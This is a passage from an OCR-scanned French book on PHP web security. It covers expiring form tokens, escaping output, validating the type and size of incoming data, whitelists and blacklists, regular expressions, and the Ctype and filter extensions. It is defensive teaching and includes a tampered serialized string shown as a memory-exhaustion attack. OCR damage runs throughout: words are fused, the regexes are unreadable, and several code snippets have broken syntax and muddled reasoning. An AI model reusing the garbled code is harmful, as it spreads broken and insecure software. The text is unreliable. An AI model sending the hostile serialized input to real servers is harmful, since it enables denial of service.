code pour comprendre comment ces variables sont transformeées avant d’ étre envoyées.
Cependant, ce code est clairement accessible. Au bout du compte, les camouflages Java
Script sont utiles, mais nefournissent pas un niveau de séeurité élevé, s'ilssont utilises seuls.

Un formulaire unique

La seule technique qui empéche le déplacement de formulaire consiste & donner une
durée de vie ace dernier. Lors de I’ affichage du formulaire, on goute un champ invisible
detype date avec une date d’ expiration ou ladate de production du formulaire. Si cette valeur
n’'est pasfournie, ou bien si les délais sont dépasses, alors on considére que |’ utilisateur a
perdu trop de temps et qu’il doit recommencer atout remplir. On peut aussi imposer un
délai minimal entre la production du formulaire et sa soumission : si le formulaire est
rempli trop rapidement, peut étre que nous n’ avons pas a faire aun visiteur humain.

<form action="http://www.site.com/afficher.php" method="P0OST">
<input type="hidden" name="date" value="2007-01-06 15 :21 :00">

Contrairement aHTTP_REFERER, aucun navigateur ne vaignorer le champ de date que nous
avons introduit. S'il est absent, alors ¢’ est que I’ utilisateur N’ est pas passé par le formu-
laireinitial : vous pouvez lui envoyer une nouvelle copie du formulaire, avec un nouveau
champ date.

Evidemment, si lavaleur date est laissée en clair dans le code, elle sera facile a détecter
et & contourner. Le niveau de sécurité seratrésfaible, mais ce sera une petite étape de plus.

Pour compliquer la tache du pirate, on utilise une valeur chiffrée ou signée. Si la valeur
est chiffrée, vous ne pourrez la déchiffrer qu’ avec laclé ad hoc.

Il est aussi possible d' utiliser une date signée : elle n’ est plus déchiffrable, mais toujours
utilisable. Par exemple, pour donner une durée de vie de 10 minutes a un formulaire,
Vous pouvez signer la date avec MD5, comme ceci :

// publication du formulaire
$date = md5('SelL'.date('Y-m-d h:i:00 ");

Apres soumission du formulaire, vous devrez tester sa validité. Comme MD5 n’'est pas
déchiffrable, vous pourrez simplement tester si elle fait partie des 10 valeurs possibles,
comme Ceci :

// test du formulaire
$validite = range(0, 10) ;
$valide = false ;
foreach($validite as $v) {
$valide [= ($_POST['date'] ==
md5('SeL'.date('Y-m-d h:i:00 ", mktime() + $v * 60));
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Si I'une des valeurs valides correspond a la valeur fournie, nous avons un timbre valide.
Si aucune ne correspond, letimbre n’ est pasvalide : il peut étre expiré ou piraté. Dansles
deux cas, nous savons que I’ utilisateur doit recommencer son formulaire.

Cette astuce revient simplement afaire une attaque systématique sur lavaleur date. C'est
une approche qui est raisonnable, car le nombre de valeurs atester est faible: la boucle
de résolution prend en tous dix itérations. Pour un pirate, ce nombre est extrémement
grand : il doit faire dix itérations pour tester systématiquement chaque préfixe. Si nous
utilisons seulement cing lettres minuscules, celafait environ douze millions d’itérations.
Cela devrait protéger les données pour un temps suffisamment long.

Il est aussi intéressant d utiliser une session PHP : cette derniére permet de stocker plus
d’informations concernant I’ utilisateur et fournit un mécanisme automatique et paraléle
pour transmettre les informations de validité du formulaire. En rangeant la date d’ expira-
tion dans la session, elle ne sera méme pas vue par le pirate.

Enfin, une derniére solution pour assurer I’unicité du formulaire consiste a utiliser un
cookie. C'est toujours une bonne idée de mélanger différents mécanismes de transport
pour améliorer la sécurité d’ une valeur. De plus, un cookie peut recevoir une date d’ expi-
ration qui sera gérée automatiquement par le navigateur. Néanmoins, comme on ne peut
pas se fier au navigateur, pensez ainclure la date d’ expiration dans la valeur du cookie,
pour lavérifier par vous-méme. Enfin, le cookie peut aussi étre chiffré ou signé.

Au bout du compte, il est difficile de s assurer absolument du passage de I’ utilisateur par
un formulaire particulier, ou par une succession de pages. || faudra placer la sécurité aun
autre endroit.

La création de formulaires

Comme les pages HTML statiques, les formulaires statiques sont révolus. De nos jours,
lesformulaires sont produits au moment ou I’ utilisateur en abesoin : dynamiquement. La
premiére utilisation de cette création dynamique est celle des formulaires d édition ; des
données sont enregistrées dans un premier formulaire et affichées plus tard pour étre
mises ajour.

D’ autres applications plus complexes mettent en jeu des transformations dans la struc-
ture méme du formulaire : des champs qui dépendent de valeurs déja entrées. Par exem-
ple, un formulaire de saisie de coordonnées peut demander d’' abord le pays de résidence,
pour adapter la forme des champs de I’ adresse. Citons aussi un systéme de catégories a
plusieurs niveaux, ol la sélection de la catégorie mere déclenche le chargement de la
catégorie fille, avec un mécanisme Ajax.

Entre le formulaire qui était utilisé en développement et celui qui est affiché au visiteur,
il existe de grosses différences. Les données de I’ utilisateur sont maintenant intégrées
directement dans |le code source de la page.

Imaginons une application qui propose deux formulaires distincts : I’ un pour insérer des
données et |"autre pour les éditer. Le premier formulaire prend les données, les insere
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dans la base, puis affiche un simple message «vos données ont été correctement
enregistrées ». Lesrisques d’injection XSS sont donc totalement nuls, puisque seules des
chaines littérales sont utilisées.

En revanche, le probléme se reporte au deuxiéme formulaire, puisque ce dernier doit
prendre des données dans la base pour les afficher. |l est tentant de considérer que les
données provenant de la base ont été déja validées avant d’ étre insérées, mais en fait, on
ne peut étre sir que d' une seule chose : les données ont pu étre insérées dans labase. |l y
aplusieurs situations qui sont potentiellement problématiques :

» Lesdonnéesn’ ont pas été securisées dans le script entrant, comme dans notre exemple.
Les situations sont variées: le script entrant n’ était pas vulnérable a une attaque qui
affectele script d' édition, ou bien ce n’ était pas un script PHP, mais une importation de
données en provenance d’ un autre systéme ou d’ une vieille base historique....

» Lesysteme entrant avalidéles données pour un format, maisn’apas pris en compte la
sécurité du point de vue HTML : un formulaire PDF ou Flash ne structure pas les
données avec les mémes contraintes qu’ un formulaire HTML.

 Lesdonnées ont été modifiées dans la base de données, par un systémetiers ou par un
script qui n’ était pas vulnérable aux mémes problémes.

Pour toutes ces raisons, la création de formulaire devient une étape aussi critique que la
validation des données entrantes. La protection contre ce type de vulnérabilité est la
protection des données sortantes.

Dans un formulaire, les données sont placées dans des attributs ou dans des corps de balises,
dans le texte ou encore dans le code JavaScript. Chacun de ces emplacements conduit a
des attagues spécifiques. La technique de protection la plus courante est I’ utilisation de
htmlspecialchars() OU htmlentities().

Maitriser les erreurs de formulaire

Lorsgue des erreurs se produisent durant le traitement d’ une soumission et que le serveur
doit demander al’ utilisateur de corriger un probléme, on se retrouve dans la situation ou
le formulaire doit étre créé dynamiquement. La situation est d’' autant plus délicate que le
script est arrivé ala conclusion gque les données ne sont pas valables pour |’ application et
peut-&tre méme pour sa propre Securité.

Il est communément admis qu’un formulaire doit étre ergonomique et doit faciliter la
tache des utilisateurs : lorsqu’ une erreur se produit, il faut afficher le formulaire initial,
avec les donnéestelles que I’ utilisateur les a dgja saisies, pour éviter qu'il ne refasse tout
le travail. Quiconque a dé§ja rempli plusieurs fois un formulaire de 20 champs ou plus
défendra cherement ce type d' approche.

Certains formulaires tentent d'aider |" utilisateur en corrigeant d’ eux-mémes les erreurs
qui sont introduites. Le concept est honorable du point de vue de I’ ergonomie et conduit
ades situations pratiques : on peut ainsi laisser I’ utilisateur entrer une valeur |égérement
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erronée et la corriger alavolée. Par exemple, supprimer les espaces inutiles en début et
fin de saisie est généralement commode pour tout le monde.

Il faut cependant se poser la question suivante : est-ce que la correction va introduire un
probléme de sécurité? Pour les magic_quotes de PHP, la réponse est clairement oui.
Chris Shiflett a signalé une situation ou des caractéres spéciaux en chinois sont pris en
charge par les guillemets magiques : malheureusement, I’insertion d’une barre oblique
inverse (ou anti slash) a pour résultat de corriger la chaine entrante et de neutraliser la
barre oblique inverse de protection. Tel est pris qui croyait prendre...

Si lafonction de correction n’est pas invulnérable, il vaut mieux retourner al’ utilisateur
les valeurs qu'il a entrées, sans tenter de les modifier. A ce stade-13, |’ affichage d une
valeur avec un contenu suspect devient un défi : il faut introduire dans le formulaire des
données qui sont visiblement invalides pour I’ application, tout en garantissant la production
d un formulaire stable.

Il n"est pas question d' afficher les données telles qu’ elles ont été introduites : au mini-
mum, il faut les protéger pour les afficher correctement, car elles seront insérées dans des
balises de formulaire.

La meilleure recommandation de sécurité consiste aindiquer les erreurs al’ utilisateur et
alui proposer un lien detyperetour en arriére : celasefait avec un lien JavaScript smple,
gréce al’ historique du navigateur :

<a href="javascript:history.go(-1);">Retour</a>

Gréce alui, le formulaire précédent est présenté a nouveau, les valeurs sont conserveées et
on évite de le recréer, en incluant des valeurs dangereuses. Voyons maintenant quelles
approches utiliser pour valider les données avant de les utiliser dans I’ application.

Techniques de validation des données

Pour qu’ une donnée soit validée, elle doit satisfaire atous les critéres implémentés : plus
il y en a, meilleure est la sécurité. PHP dispose d’ une large gamme de critéres : certains
sont populaires, d autres sont plus discrets, mais tous sont utiles.

Présence et absence de données

La premiére chose a vérifier est la présence ou |’ absence de la donnée attendue. Si le
formulaire doit fournir une valeur prenom, alors la premiére chose afaire est de s assurer
de |’ existence de cette valeur. Dans le cas contraire, une erreur doit étre signal ée.

Inversement, il est recommandé de s assurer qu’aucune valeur supplémentaire n’est
introduite. Le protocole HTTP permet d'gjouter autant de variables qu’ on le souhaite.
PHP les prépare de laméme fagon queles autres et si une variable n’ est pas attendue, elle
est généralement ignorée. Toutefois, ces variables surnuméraires sont ajoutées avec
I’ espoir sournois qu’ elles puissent étre confondues avec d’ autres.
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Aujourd hui, I'époque de la directive register_globals, qui introduisait des variables
dans le corps méme du script, est révolue. Les variables provenant du visiteur doivent
étre rangées dans les tableaux superglobaux $_GeT, $_P0ST, etc. et sont plus rarement
confondues avec des variables internes du script.

Lameilleure pratique pour gérer la présence ou |’ absence des variables est de les prendre
dans les tableaux ou elles sont attendues et de les ranger dans un tableau qui porte un
nom explicite : $_PROPRE, $_CLEAN, OU autres.

Gréace a cette astuce de programmation, vous allez gagner en sécurité a plusieurs niveaux :

* |l est facile de tester laprésence ou I’ absence d' une variable dans le tableau de valeurs
validées: isset() est lapour ca

» Lesvaeurs qui sont dans ce tableau ont été validées: ca se voit. Quand vous relisez
votre code, il devient facile de savoir qu’ une valeur est propre (elle est dans ce tabl eau)
ou entachée (elle est dans les tableaux fournis par PHP, §_GET, $_P0ST, €tc).

» Si une valeur ne peut étre validée, il est possible de la remplacer par une valeur par
défaut et de continuer I’ exécution du script tranquillement. C’ est un atout au niveau de
I’ergonomie de I’ application web, sans rien sacrifier au niveau de la sécurité. C'est
auss pratique avec les cases a cocher, qui ne sont pas toujours envoyées par le formulaire
guand elles ne sont pas cochées.

» Sile code tente d’ accéder a une valeur qui N’ a pas été filtrée ou que le formulaire n'a
pas fournie, alors elle sera absente du tableau. Il est facile de tester sa présence avec
isset() et S vous omettez cette étape, c'est la valeur nulle qui sera fournie par PHP :
cette valeur ne cause aucune injection.

 Toutes les variables sont concentrées dans un seul tableau, ce qui évite d’ avoir a cher-
cher dans plusieurs: $_P0ST, $_GET, $_REQUEST, $_ENV, $_COOKIE, $_SERVER, $_FILES.

e |l est facile de vérifier I utilisation de $_CLEAN a la place des superglobales dans les
scripts, al'aide d’'un analyseur statique. Les superglobales standards de PHP doivent
étre confinées aun ou deux fichiers, tandis que $_CLEAN doit étre utilisé partout ailleurs.

Pour aller jusqu'au bout, signalons tout de méme que $_CLEAN ne pourra pas avoir le
caractére superglobal dont dispose les autres variables de PHP, telles que $_GET, ou
$_POST.

Les types des données

Apres la présence attendue d’une variable, la premiere validation est celle du type de
données. Est-ce une chaine, un nombre, un tableau ou autre chose? Les informaticiens
sont habitués a classer les variables en fonction de leur type. Mais PHP a plus d’ un tour
dans son sac.

Soyons clair desle début de cette section : vérifier le type des données fournies a PHP est
une opération vaine et une quéte sans issue, a cause non seulement de la nature méme de
HTTP, mais aussi de celle de PHP,
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En fait, HTTP est un protocole de communication. Il ne fait que transporter des chaines
decaractéres. A, b, c, 1, 2, &, | :il nesagit que de caracteres pour le protocole qui ne
s embarrasse d’ aucune notion de type (ni mot, ni nombre, ni rien).

PHP recoit alorstoutes les val eurs sous forme d’ un long texte auquel il applique ses tech-
niques d’analyse pour en extraire des valeurs et des variables. Ainsi, il n’obtient rien
d’ autre que des chaines de caracteres, ou encore des tableaux.

Observez ce code :

foreach($_GET as $var => $value) {
print htmlentities($var, ENT_COMPAT, 'IS0-8859-1')." => ".gettype($value).",
=" htmlentities($value, ENT_COMPAT, 'IS0-8859-1')."<br />";

}

qui est appelé al’ aide de cette URL :
http://www.site.com/test.type.php?a=b&c=1&d[]=1
Le résultat est le suivant :

a => string, b
¢ => string, 1
Warning: htmlentities() expects parameter 1 to be string, array given in /Users

= /macbook/Sites/test.type.php on line 4
d => array,

a vaut b, et ¢’ est bien une chaine de caractéres qui est recue. Jusque-13, tout va bien.

c vaut 1, mais encore une fois, ¢’ est la chaine de caractéres ‘1’ qui est recue. Si vous ne
vous étes jamais apercu de la nature réelle de la variable ¢, ¢’ est que PHP vous aide en
effectuant les conversions nécessaires, lorsque ¢’ est pertinent :

echo $c + 1 ;

Cetteinstruction vabien vousretourner le nombre 2. PHP détecte qu’il y aune addition entre
un entier et une variable. Lavariable est convertie en nombre, puis additionnée aun.

Enfin, il est parfois peu connu que PHP accepte des tableaux comme valeur entrante. |1
suffit d’ gjouter des crochets pour initialiser un tableau ala place d’ une chaine de caracté-
res. Il est aussi possible de faire des tableaux de tableaux, en enchainant les crochets, ou
encore de fournir desindex entre les crochets :

http://www.site.com/test.type.php?d[1=18&e[1[1[1=2&f[33]=3
avec le script :

<?php
print "<pre>";
foreach($_GET as $var => $value) {
print htmlentities($var, ENT_COMPAT, 'IS0-8859-1")."<br />";
print htmlentities(print_r($value, true), ENT_COMPAT, 'IS0-8859-1');
print "<br />";
}
print "</pre>";
(>
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On obtient :
d
Array
(
[0] =>1
)
e
Array
(
[0] => Array
(
[0] => Array
(
[0] => 2
)
)
)
.F
Array
(
[33]1 => 3

)

L’ implantation des tableaux en PHP est une extension du protocole HTTP : ce dernier ne
reconnalt pas les tableaux. PHP les détecte durant sa phase d' analyse des données entrantes
et leur affecte le bon type de données. |1s ont été gjoutés pour une raison bien particuliére.

Lestableaux sont généralement utilisés dans une application PHP lorsgu’il faut gérer des
champs detypeselect avec |’ attribut multiple. Néanmoins, rares sont les situations oul les
variables sont testées pour vérifier s'il s agit bien de tableaux.

En ce qui concerne la sécurité, il est encore fréquent de nos jours de perturber une appli-
cation en gjoutant simplement des crochets dans une URL .

Pour conclure sur les problémes de type de données, il faut se rappeler que PHP est un
langage faiblement typé. Si une valeur possede un type aun point du script, il est possible
gu’ elle en possede un autre un peu plusloin. Pour vérifier lestypes des variables entrantes, il
faut procéder avec prudence.

Pour tester le type d’ une variable entrante dans un script PHP, il faut utiliser lesfonctions
PHP suivantes:

e isset() pour vérifier s lavariable existe avant de I’ utiliser ;
e is_array() pour vérifier si lavariable est un tableau ;
* is_string() pour vérifier si lavariable est une chaine;
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e is_int(), is_integer(), is_long() pour veérifier si lavariable est un entier ;

e is_float(), is_real(), OUis_double() pour vérifier si lavariable contient un nombre
décimal ;

* is_bool() pour vérifier si lavariable contient une valeur booléenne;;

* is_numeric() pour vérifier si lavariable contient un nombre décimal ou entier ;

* is_scalar() pour vérifier s lavariable contient une valeur scalaire : nombre, booléen,
chaine.

is_object(), is_resource(), is_callable() €t is_nul1() sont aussi disponibles en PHP,
pour tester respectivement des objets, des ressources PHP, une fonction valide ou la
valeur NULL. lls ne s appliquent pas aux entrées de scripts, car HTTP et PHP ne produi-
sent aucune variable de ce type.

Ainsi, la vérification de type est pratique pour différencier des nombres, des chaines de
caractéres ou des tableaux, mais c’'est probablement tout. Les chaines de caractéres
devront servir de contenant pour faire entrer virtuellement tous les autres types d’ objets
possibles, tels date, code postal, code PHP, balises, objets linéarisés, etc. Pour cela, il va
falloir gjouter d' autres validations.

Les données complexes

Dans la continuité de ce que nous venons de voir, une pratique répandue pour gérer faci-
lement des formats de données est d' utiliser la linéarisation : cette technique, appelée
aussi sérialisation, consiste a obtenir une représentation en chaine de caractéres de varia-
bles, pour pouvoir lafairetransiter par HTTP. Les variables sont linéarisées, avant d’ étres
passées aHTTP, puis délinéarisées ala réception.

$a=array("1");

echo serialize($a);

Ce script PHP affiche :

a:1:{i:0;s:1:"1";}
En intégrant cette valeur dans un formulaire, par exemple sous forme de champ caché,
avec le nom b, on obtiendra dans | e script de réception :

$_GET["b"] = 'a:1:{i:0;s:1:"1";}"

$b = unserialize($_GET["b"1) ;
On retrouve dansb la valeur de la variable a, quelle que soit sa complexité. Seules les
ressources ne pourront pas passer par ce type de systéme, car elles sont entiérement
dépendantes de PHP.

Or, le probleme est que le format de linéarisation est un format interne a PHP, destiné au
stockage des sessions. |l n’est pas prévu qu'il soit utilisé pour structurer les communica-
tions entre le serveur et le client, car il est facile amodifier. Par exemple, en changeant la
valeur issue de a, on peut faire ceci :

a:200:{i:0;5:100:"1";}
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Maintenant, la chaine qui est dans |e tableau « pése » 100 octets et la taille du tableau est
de 200 éléments. En modifiant une petite partie de lavariable, on ade grandes répercussions
dans le script car ce dernier va tenter d’ allouer beaucoup de mémoire pour reconstruire
cette variable : ¢’ est un cas de déni de service par épuisement de mémoire.

Les techniques de linéarisation souffrent toutes du méme probleme de représentation :
XML, Json, WDDX, etc. En modifiant un peu les données, on peut facilement induire en
erreur le moteur qui recompose les données en mémoire.

Si vous devez manipuler des données complexes, il sera plus sir de stocker les données
dans une session et de faire transiter uniquement I’ identifiant de session par le réseau.

La taille des données

Outre le type, la taille des données qui sont fournies a PHP constitue une information
importante. C’' est une mesure de protection qui est trop souvent oubliée. Pourtant, elle est
souvent efficace a mettre en place, sert la défense en profondeur, et ne cote rien. Pour-
guoi s en priver ?

Prenons un formulaire qui demande son prénom a un utilisateur. Si ce dernier entre une
valeur d’'un seul caractére ou moins, on pourra lui signaler une erreur : rares sont les
prénoms qui tiennent en une lettre. Néanmoins, quelle est la taille maximae d'un
prénom ? En prenant un prénom composé, quel ques fautes d orthographe et une touche
d’ exotisme, on doit pouvoir aler assez loin. |l est probable que 30 caractéres seront déja
une limite généreuse, avec 60, on est certain de pouvoir accepter un maximum de
prénoms.

Pourquoi mettre une telle limite ? En regardant les différentes injections, on réalise un
point important : pour contourner les systémes de sécurité, les pirates font appel a des
séquences de caractéres pour remplacer des caractéres explicites. Par exemple, un j
devient un 8#0000106;. Pour exploiter une vulnérahilité, il est donc plus facile de pouvoir
injecter une quantité illimitée de texte.

Ainsi, surveiller la taille des données entrantes, a |’ aide de la fonction strien(), aide a
détecter des situations peu ordinaires. |l est vrai que certaines injections sont tres courtes,
mais elles sont nettement plus rares que les longues.

Bien entendu, cette astuce n’est pas universelle. Les exemples abondent de formulaires
qui ont besoin de grandes quantités de données en provenance de I’ utilisateur : ainsi, un
article de journal qui est édité en ligne doit effectivement étre un texte plut6t long, auquel
il sera difficile de mettre une limite raisonnable.

La liste blanche

La validation la plus sire qui soit est celle qui se base sur une approche de type
dictionnaire : la valeur entrante doit faire partie d’ un ensemble de valeurs possibles. Il
faut insister sur lefait que le nombre de valeurs possibles doit étre raisonnable, sinon une
approche plus générique sera plus appropriée.



Risques liés aux applications web

PARTIE 1

L’illustration classique de laliste blanche (ou whitelist en anglais) est le menu déroulant,
obtenu avec une balise <select> : dans un formulaire, on propose de choisir une valeur
ou plusieurs au sein d’ une liste. Toutefois, cette balise n’aqu’ un réle purement graphique
et ergonomique.

Du cdté du serveur, cela se traduit par uneliste de valeurs. Si ces derniéres sont suffisam-
ment génériques et peu nombreuses (comme les mois de |I’année ou les jours de la
semaine), elles sont alors rangées dans un tableau. Si les valeurs sont plus nombreuses ou
simplement plus volatiles, elles sont rangées dans une base de données. L’ approche est
similaire dans les deux cas.

Si le test échoue, c'est-a-dire si lavaleur n’est pas trouvée dans laliste, alors une valeur
par défaut est utilisée ou bien une erreur est retournée.

Comme les valeurs introduites dans I application sont rigoureusement testées al’ avance,
laliste blanche fournit un systéme de validation imparable.

Laliste blanche s applique aux chalnes de caractéres : elle représente alors les caracteres
dont I’emploi dans une chaine est permis, al’ exception de tous les autres. Par exemple,
les caractéres suivants sont autorisés dans un code postal canadien :

0123456789ABCEGHIKLMNPRSTVXY

En autorisant uniquement ces caractéres, vous pouvez vous prémunir facilement contre
lesinjections SQL ou HTML car il n’y aaucun caractére commec, >, * ou ", tout en gjoutant
des tests defiltrage trés rapides.

Lorsgue le nombre de valeurs augmente beaucoup, on a souvent recours a une base de
données pour réaliser ce type detest. Il faut alors bien noter qu’il y aun décalage dansle
probléme de validation : ¢ est la base de données qui vérifie une valeur dans une liste, a
I’aide d’ une requéte. Il faut donc gjouter un test de validation pour que la valeur atester
puisse étre utilisée correctement dans une requéte SQL. Heureusement, ce petit détour
est assez simple a mettre en place.

La liste noire

Le contraire de la liste blanche est la liste noire (black list en anglais). C'est générale-
ment le premier type de liste de sécurité auquel on pense : on sait ce dont on ne veut pas.
En termes de sécurité, son efficacité est moindre que celle de laliste blanche.

Leprincipedelaliste noire est delister lesvaleursinterdites, pour pouvoir lesrefuser des
gu’ on les détecte. Parmi les applications classiques, on trouve laliste noire de motsinter-
dits dans un commentaire posté sur un site web ou les listes d' adresses | P dont il est bon
d’ignorer les courriers électroniques.

Dans le cas des mots tabous pour un commentaire, la liste blanche apparait difficile a
utiliser : il faudrait autoriser presque tous les mots possibles. Il faut alors réaliser un
dictionnaire quasi-exhaustif, et méme anticiper les mots qui vont apparaitre : les fautes
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d’ orthographe, les néologismes, les anglicismes, les sigles et les marques de commerce.
Tout celarend impossible laréalisation d’ une liste blanche compl éte.

Dans ces circonstances, il est beaucoup plus simple de mettre en place une liste noire : on
interdit les motsles plus fréquemment utilisés dans |es spams de commentaire. Vous avez
slrement une liste de mots qui vous viennent al’ esprit immédiatement.

Cependant, si hier le poker et les pilules étaient I’ objet courant de spams, demain ce sera
peut-étre le pétrole et les médicaments contre le poids. 1l faudra donc gjouter ces nouveaux
motsalaliste noire. Il faut laaussi prendre en compte les fautes d’ orthographe, ainsi que
les variations délibérées : pokker, p()ker, p oker, joker, etc. Et peut-étre le poker revien-
dra-t-il plustard en odeur de sainteté, auquel casil faudraleretirer delaliste noire.

La liste noire souffre donc d'un retard permanent : elle ne sait que lister les importuns
gue I’ on aconnus, mais ne permet pas d’ anticiper les évolutions futures. Pour résoudre ce
probléme, il existe des projets collaboratifs destinés a avoir une approche exhaustive, en
fédérant les expériences de nombreux utilisateurs. C'est le cas des projets comme
spamhaus contre les spammeurs, ou la barre netcraft contre le phishing. Ces outils
améliorent I"'intérét des listes gréce a la participation de la communauté, qui assure une
efficacité plus grande.

L'autre probléme dont souffre la liste noire est que les éléments qui n'en font pas
(encore) partie sont automatiquement autorisés. Pour reprendre I'illustration des mots
interdits dans les commentaires d’ un site, les spammeurs vont essayer différentes variantes
d’un mot : si « poker » est interdit, ils pourront tenter « POKER », ou « PO.K.E.R. » ou
« PoKeR » ou « P()K3r »... Rapidement, aprés les avoir identifiés, le webmestre va les
interdire aussi. Toutefois, cela lui impose une surveillance permanente de son site. Une
solution par liste blanche n’aurait pas ces problémes, car les variantes n’ apparaitraient
pas dans le dictionnaire.

Lorsgue vous mettez en place vos filtres de validation, demandez-vous toujours en
premier lieu si une approche par liste blanche est possible. Si elle est raisonnable, une
approche par liste blanche est toujours plus appropriée qu’ une liste noire.

La liste grise

Laliste grise est une extension de la liste blanche et de la liste noire : c'est en fait une
simple combinaison des deux. Du blanc et du noir donne du gris: CQFD !

Par exemple, lalangue frangaise autorise environ 70 000 mots et 300 000 variantes, dues
notamment aux verbes conjugués. Il est difficile d’ utiliser laliste blanche dans un tel cas.
Une bonne solution consiste donc a utiliser un correcteur orthographique pour effectuer
une premiére validation, puis passer uneliste noire de mots. Si le nombre de mots erronés
et de mots en liste noire dépasse un niveau critique, on peut alors considérer le message
comme un spam.

Une autre situation de liste grise est I’interrogation d’ une base de données pour veérifier
un nom d'utilisateur : pour interroger la base de données, il faut d’abord utiliser une
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requéte SQL. On peut aors utiliser une liste noire de caractéres interdits (tels ', " ou les
espaces), puis envoyer le tout a une requéte SQL.

Les expressions réguliéres

Les expressions régulieres, ou expressions rationnelles, sont un outil particuliérement
puissant pour valider le format des données. Un modéle d' expression réguliére exprime
des structures complexes de chaines de caractéres, tout en laissant le soin a PHP d' analyser
la chaine exactement. En voici deux exemples:

/A (\d\d) - (\d\d)-(\d\d)-(\d\d)-(\d\d)$/ :
/lun numéro de tél éphone au format francais.
/AN 2A\NdNd\d) V) ?-(\d\d\d) - (\d\d\d\d)$/ :
/lun numéro de téléphone au format nord-américain.

La syntaxe des expressions régulieres dépasse le cadre de cet ouvrage et nous vous
conseillons de lire la documentation PHP ainsi que les sites qui leur sont dédiés. Certains
proposent méme des bibliotheques d’expressions toutes faites, prétes a I'emploi et
complétement testées.

Les expressions réguliéres permettent d’ imposer des normes particuliéres a une chaine

de caractéres. Elles s accordent généralement bien avec les formats de données que nous
allons aborder dans la prochaine section.

On peut appliquer aux expressions réguliéres les concepts de liste blanche et de liste
noire que Nous avons vus précédemment :

/[a-z]/ autorise les caractéres alphabétiques minuscules : Tiste blanche
/[~a-z]/ interdit les caracteres alphabétiques minuscules et autorise tous Tles autres
=caractéres : liste noire.

Les expressions réguliéres ont plusieurs inconvénients, qu’il convient de noter :

 Elles sont assez lentes sur des chaines de trés grande taille et pour les expressions les
plus complexes. La sécurité aun colt.

 Elles permettent, avec I’ option e, d’ exécuter du code PHP pour faire un remplacement.
C’ est une vulnérabilité qui ouvre le code PHP d' un script (nous en reparlerons plusloin).

 Elles s appliquent uniquement aux chaines de caractéres et ne fonctionnent pas avec
les nombres ou les tableaux.

Les expressions réguliéres sont rarement capables de valider d’ autres types de données
que les chaines de caractéres. Prenons un exemple :
/M\d+$/
Cette expression réguliére identifie une chaine de caractéres composée de chiffres. Ainsi,
1
12

123
12345
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sont toutes des chaines que cette derniére valide. Il est alors facile de sauter a la
conclusion : cette expression valide n’importe quel nombre, mais uniquement sous forme
de chaine de caractéeres. En effet, la chaine suivante

123456789012345678901234567890123456789012345678901234567890123456789012345678901234
567890123456789012345678901234567890123456789012345678901234567890123456789012345678
901234567890123456789012345678901234567890123456789012345678901234567890123456789012
345678901234567890123456789012345678901234567890123456789012345678901234567890123456
789012345678901234567890

est bien validée, mais si on lui additionne 0, PHP va dépasser sa capacité de représenta-
tion des entiers et retourner une valeur qui N’ est pas un nombre :

INF

Gardez bien en téte que les expressions régulieres sont faites pour valider des chaines de
caractéres. Lorsque vous effectuez la transformation depuis un format de chaine entrante
en un objet PHP spécifique (entier, objet, tableau, etc.), utilisez toujours les fonctions
adéquates et |es mesures de précaution qui S'y rattachent.

Les formats standardisés

Nous sommes entourés par des données formatées. Une plaque d immatriculation, un
numéro d’entreprise, un numéro de sécurité sociale, un numéro de téléphone, une
adresse, sont autant de données formatées. Dans certains cas, une autorité particuliére
émet un format a respecter. Dans d’ autres, ¢’ est la pratique de tous les jours qui impose
ce format.

Quand il faut manipuler les données, il est toujours intéressant de se tourner vers les
organismes émetteurs ou le consortium |SO pour en apprendre la structure exacte. Cette
recherche de documentation vous permettra aussi d adapter le format de stockage des
données.

Et, comme toujours dans le monde Open Source, il existe déja des dével oppeurs qui ont
eu afaire face a des problemes de format et qui ont publié leurs bibliotheques.

Les filtres en PHP

Il existe plusieurs systemes de filtrage en PHP, disponibles directement dans la distribu-
tion officielle, ou bien al’aide d une simple installation.

Ctype

Ctype est une extension généralement disponible par défaut dans les installations PHP et
ne demandant aucune bibliothégque supplémentaire. En fait, elle représente une interface
directe avec la bibliotheque C standard de votre systéme d’ exploitation. De ce fait, elle
est tres rapide.
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Ctype propose onze fonctions qui analysent une chaine et indiquent si les caractéres dont
elle est constituée correspondent a un type spécifique de caractéres :

* ctype_alnum() vérifie qu’' une chalne est alphanumérique.

* ctype_alpha() Vérifie qu'une chaine est al phabétique.

e ctype_cntrl1() vérifie qu'un caractére est un caractére de controle.

* ctype_digit() Vérifie qu'une chaine est un entier.

* ctype_graph() vérifie qu’ une chaine est imprimable (hors espaces).

* ctype_lower() Vé&ifie qu’' une chalne est en minuscules.

* ctype_print() Vveérifie qu'une chaine est imprimable (y compris les espaces).
* ctype_punct() Vérifie qu' une chaline contient de la ponctuation.

* ctype_space() vérifie qu’' une chalne n’est faite que de caractéres blancs (espaces).
e ctype_upper() vérifie qu’ une chaine est en majuscules.

» ctype_xdigit() vérifie qu' un caractére représente un nombre hexadécimal.

Ctype S utilise facilement et est capable de s adapter au contexte local (par exemple, de
repérer les caractéres accentués francais). Voici un exemple d application adapté de la
documentation PHP, dans lequel la fonction ctype_alpha() Vvérifie qu’'une chaine ne
contient que des caracteres alphabétiques :

<{?php
$strings = array('KjgWzC', 'arfl2', 'qwerésd');
setlocale(LC_ALL, 'fr_FR");
foreach ($strings as $testcase) {
if (ctype_alpha($testcase)) {
echo "La chaine $testcase ne contient que des Tettres.\n";
} else {
echo "La chaine $testcase ne contient pas que des lettres.\n";
}

[

Ctype est une extension robuste et rapide, mais elle n' est pas toujours adaptée aux situations
complexes. Elle est parfaite pour réaliser destests initiaux assez génériques, mais jettera
rapidement I’ éponge devant des problémes réels. Pour cela, il y al’ extension filter, qui
tend aremplacer définitivement Ctype.

L'extension filter

filter est une nouvelle extension, qui est intégrée dans la distribution standard
depuis PHP 5.2.0. Les versions plus anciennes sont disponibles sur |e site de PECL :
http://pecl.php.net/

filter propose une gamme de filtres bien plus vaste que celle de ctype et avec un colt de
validation plus faible que les expressions régulieres.
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Elle permet de valider des types classiques, comme les nombres ou les chaines, mais aussi
des formats plus complexes, comme les URL ou les courriers électroniques. Contraire-
ment a Ctype, €lle permet aussi de nettoyer les valeurs au lieu de ssmplement les rejeter :

$_CLEAN['email'] = filter_data($_GET['email'], FILTER_VALIDATE_EMAIL);

Si $_GET contient une adresse électronique valide, la valeur sera retournée al’identique.
Dsle cas contraire, lafonction fi1ter_data retourne lavaleur FALSE.

filter est capable de fonctionner récursivement : lorsque le premier argument est un tableau,
chague éément et validé avec lesfiltres qui sont indiqués comme arguments suivants.

filter dispose auss de directives qui permettent d’imposer |’ utilisation desfiltres sur les
